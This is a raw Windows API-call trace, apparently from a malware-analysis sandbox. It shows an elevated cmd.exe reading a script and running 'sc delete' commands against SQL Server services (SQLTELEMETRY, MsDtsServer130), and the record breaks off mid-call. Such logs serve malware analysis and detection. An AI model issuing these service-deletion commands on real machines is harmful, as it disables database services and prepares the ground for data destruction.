GetEnvironmentStringsW () returned 0x1d1b10* [0064.699] GetProcessHeap () returned 0x1b0000 [0064.699] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0064.699] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0064.699] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0064.699] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdc000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0064.699] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0064.761] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0064.761] CloseHandle (hObject=0x54) returned 1 [0064.761] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0064.761] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0064.761] GetProcessHeap () returned 0x1b0000 [0064.761] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0064.761] GetEnvironmentStringsW () returned 0x1d1b10* [0064.761] GetProcessHeap () returned 0x1b0000 [0064.761] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0064.761] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0064.761] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0064.761] GetProcessHeap () returned 0x1b0000 [0064.762] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0064.762] GetEnvironmentStringsW () returned 0x1d1b10* [0064.762] GetProcessHeap () returned 0x1b0000 [0064.762] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0064.762] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0064.762] GetProcessHeap () returned 0x1b0000 [0064.762] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0064.762] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0064.762] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0064.762] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.762] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0064.763] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.763] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0064.763] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.763] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0064.763] GetConsoleOutputCP () returned 0x1b5 [0064.763] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0064.763] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0064.763] GetProcessHeap () returned 0x1b0000 [0064.763] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0064.763] GetProcessHeap () returned 0x1b0000 [0064.763] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0064.763] GetProcessHeap () returned 0x1b0000 [0064.763] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0064.763] GetProcessHeap () returned 0x1b0000 [0064.763] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc5b0 | out: hHeap=0x1b0000) returned 1 [0064.763] GetProcessHeap () returned 0x1b0000 [0064.763] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa90 | out: hHeap=0x1b0000) returned 1 [0064.763] GetProcessHeap () returned 0x1b0000 [0064.763] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0064.763] GetProcessHeap () returned 0x1b0000 [0064.764] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0064.764] GetProcessHeap () returned 0x1b0000 [0064.764] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0064.764] GetProcessHeap () returned 0x1b0000 [0064.764] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0064.764] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0064.764] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.764] GetFileType (hFile=0x120) returned 0x3 [0064.764] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.764] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0064.764] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0064.764] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0064.764] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0064.764] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0064.764] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0064.764] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.764] GetFileType (hFile=0x120) returned 0x3 [0064.765] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.765] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0064.765] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0064.765] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.765] GetFileType (hFile=0xb8) returned 0x3 [0064.765] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.765] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.765] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.765] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete SQLTELEMETRY\nT\n\nce\n") returned 1 [0064.765] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.765] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.765] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.765] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete SQLTELEMETRY\nT\n\nce\n") returned 1 [0064.765] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.765] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.765] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.765] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete SQLTELEMETRY\nT\n\nce\n") returned 1 [0064.765] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.765] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.765] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.766] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete SQLTELEMETRY\nT\n\nce\n") returned 1 [0064.766] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.766] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.766] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.766] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete SQLTELEMETRY\nT\n\nce\n") returned 1 [0064.766] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.766] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.766] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.766] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete SQLTELEMETRY\nT\n\nce\n") returned 1 [0064.766] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.766] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.766] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.766] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete SQLTELEMETRY\nT\n\nce\n") returned 1 [0064.766] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.766] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.766] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.766] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te SQLTELEMETRY\nT\n\nce\n") returned 1 [0064.766] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.766] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.767] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.767] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e SQLTELEMETRY\nT\n\nce\n") returned 1 [0064.767] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.767] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.767] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.767] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" SQLTELEMETRY\nT\n\nce\n") returned 1 [0064.767] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.767] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.767] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.767] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="MQLTELEMETRY\nT\n\nce\n") returned 1 [0064.767] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.767] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.768] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.768] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="sLTELEMETRY\nT\n\nce\n") returned 1 [0064.768] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.768] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.768] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.768] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="DTELEMETRY\nT\n\nce\n") returned 1 [0064.768] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.768] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.768] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.768] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="tELEMETRY\nT\n\nce\n") returned 1 [0064.768] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.768] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.768] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.768] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="sLEMETRY\nT\n\nce\n") returned 1 [0064.768] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.768] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.768] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.768] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="SEMETRY\nT\n\nce\n") returned 1 [0064.768] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.768] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.769] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.769] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="eMETRY\nT\n\nce\n") returned 1 [0064.769] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.769] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.769] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.769] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="rETRY\nT\n\nce\n") returned 1 [0064.769] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.769] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.769] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.769] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="vTRY\nT\n\nce\n") returned 1 [0064.769] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.769] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.769] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.769] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="eRY\nT\n\nce\n") returned 1 [0064.769] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.769] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.769] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.769] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="rY\nT\n\nce\n") returned 1 [0064.769] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.769] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.770] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.770] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="1\nT\n\nce\n") returned 1 [0064.770] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.770] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.770] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.770] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="3T\n\nce\n") returned 1 [0064.770] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.770] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.770] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.770] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="0\n\nce\n") returned 1 [0064.770] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.770] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.770] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.770] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e350, cchWideChar=1 | out: lpWideCharStr="\n\nce\n") returned 1 [0064.770] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.770] GetFileType (hFile=0xb8) returned 0x3 [0064.770] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.770] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.770] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.771] GetFileType (hFile=0x120) returned 0x3 [0064.771] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.771] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete MsDtsServer130\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete MsDtsServer130\n", lpUsedDefaultChar=0x0) returned 26 [0064.771] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x19, lpOverlapped=0x0) returned 1 [0064.771] GetProcessHeap () returned 0x1b0000 [0064.771] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d6630 [0064.771] GetProcessHeap () returned 0x1b0000 [0064.771] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d6630 | out: hHeap=0x1b0000) returned 1 [0064.771] GetProcessHeap () returned 0x1b0000 [0064.771] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0064.771] GetProcessHeap () returned 0x1b0000 [0064.771] RtlAllocateHeap 